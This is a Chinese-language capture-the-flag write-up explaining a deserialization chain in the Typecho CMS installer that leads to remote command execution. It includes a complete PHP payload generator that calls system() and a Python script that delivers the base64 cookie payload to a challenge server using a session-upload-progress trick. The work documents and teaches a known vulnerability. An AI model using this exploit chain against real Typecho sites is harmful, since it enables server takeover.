[GKCTF 2020]ez三剑客-eztypecho

[GKCTF 2020]ez三剑客-eztypecho

考点：Typecho反序列化漏洞

打开题目，发现是typecho的CMS

尝试跟着创建数据库发现不行，那么就搜搜此版本的相关信息发现存在反序列化漏洞 参考文章

跟着该文章分析来，首先找到install.php，看向下面代码

<?php if (isset($_GET['finish'])) : ?>
//省略部分代码
    <?php
    if(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
    ?>
<?php endif; ?>

如果有GET传参finish，则进入下面代码，如果有session值，那么unserialize函数反序列化，我们跟进到Typecho_Cookie::get()

发现在/var/Typecho/Cookie.php

public static function get($key, $default = NULL)
{
	$key = self::$_prefix . $key;
	$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
	return is_array($value) ? $default : $value;
}

可以知道__typecho_config就是我们传参的$key（也就是参数名）

注意$value的赋值逻辑，如果cookie存在key参数，那么该参数值赋值给$value

$value = $_COOKIE[$key] ;

如果cookie不存在key参数，那么进行第二步判断

$value = (isset($_POST[$key]) ? $_POST[$key] : $default);

同理如果存在key，则将POST传参key的参数值赋给$value

所以cookie传参或者post传参都行

回到install.php，发现存在Typecho_Db类的调用

$db = new Typecho_Db($config['adapter'], $config['prefix']);

跟进到/var/Typecho/Db.php去看看实例化的过程

public function __construct($adapterName, $prefix = 'typecho_')
{
	/** 获取适配器名称 */
	$this->_adapterName = $adapterName;

	/** 数据库适配器 */
	$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

	if (!call_user_func(array($adapterName, 'isAvailable'))) {
		throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
	}

	$this->_prefix = $prefix;

	/** 初始化内部变量 */
	$this->_pool = array();
	$this->_connectedPool = array();
	$this->_config = array();

	//实例化适配器对象
	$this->_adapter = new $adapterName();
}

不难发现$adapterName可控，也就是install.php中的$config，往下看发现出现字符串拼接，因此可以触发__toString魔术方法

我们在/var/Typecho/Feed.php找到toString()方法

public function __toString()
{
	$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

	if (self::RSS1 == $this->_type) {
        //省略部分代码
	} else if (self::RSS2 == $this->_type) {
	foreach ($this->_items as $item) {
		$content .= '<item>' . self::EOL;
		$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
		$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
		$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
		$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
	//给师傅们减轻负担QAQ，要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500
		$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
		if (!empty($item['category']) && is_array($item['category'])) {
			foreach ($item['category'] as $category) {
				$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
            }
		}
		//省略部分代码
}

如果self::RSS2 == $this->_type为真，那么$item['author']->screenName会调用screenName属性，如果author为对象，且不存在该属性则可以调用_get()方法

我们跟进到/var/Typecho/Request.php

public function __get($key)
{
	return $this->get($key);
}

传入$key（也就是screenName），然后调用自己的get方法

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

大概意思就是给$value赋值，返回_applyFilter($value);，至于这里switch选择的是isset($this->_params[$key])，因为这个是可控的，而$_httpParams是false不可控（这些都可以在源码找到）

继续跟进到_applyFilter()

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

可以发现存在call_user_func()函数命令执行，我们知道_filter可控，也就是说通过_filter和_params来实现RCE

所以pop链逻辑如下

//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()

而Typecho_Db类的实例化已经帮我们实施了，所以我们只需要构造后面的

这里items[]数组我们就不用源码中的

public function addItem(array $item)
{
    $this->_items[] = $item;
}

我们直接自己实例化就行

exp如下

<?php
class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items=array();
    public function __construct(){
        $this->_type=$this::RSS2;
        $this->_items[]=array(
            "autohr" => new Typecho_Request(),
            "category" => array(new Typecho_Request())
        );

    }
}

class Typecho_Request{
    private $_params = array();
    private $_filter = array();
	public function __construct()
    {
    	$this->_params['screenName'] = 'cat /flag';  
    	$this->_filter[0] = 'system';
    }
    
}
$a=new Typecho_Feed();
$b=array(
    "adapter" => $a,
    "prefix" => "typecho_"
);
echo base64_encode(serialize($b));

得到payload后解决如何构造session，用的是PHP中的特性PHP_SESSION_UPLOAD_PROGRESS

利用session.upload_progress,可以将上传的文件信息保存在session中，从而实现构造session

脚本如下

import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={
    "file":"123"
}
headers={
    "Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==",
    "Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}


req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)

我们通过POST上传PHP_SESSION_UPLOAD_PROGRESS使得将上传文件信息保存到session，上传的文件就是files

不过这里环境好像有点问题，没有flag

因为get传参start处也有一个反序列化，所以也可以用那个打

要满足2个条件即可：

1. $_GET[‘start’] 参数不为空
2. Referer 必须是本站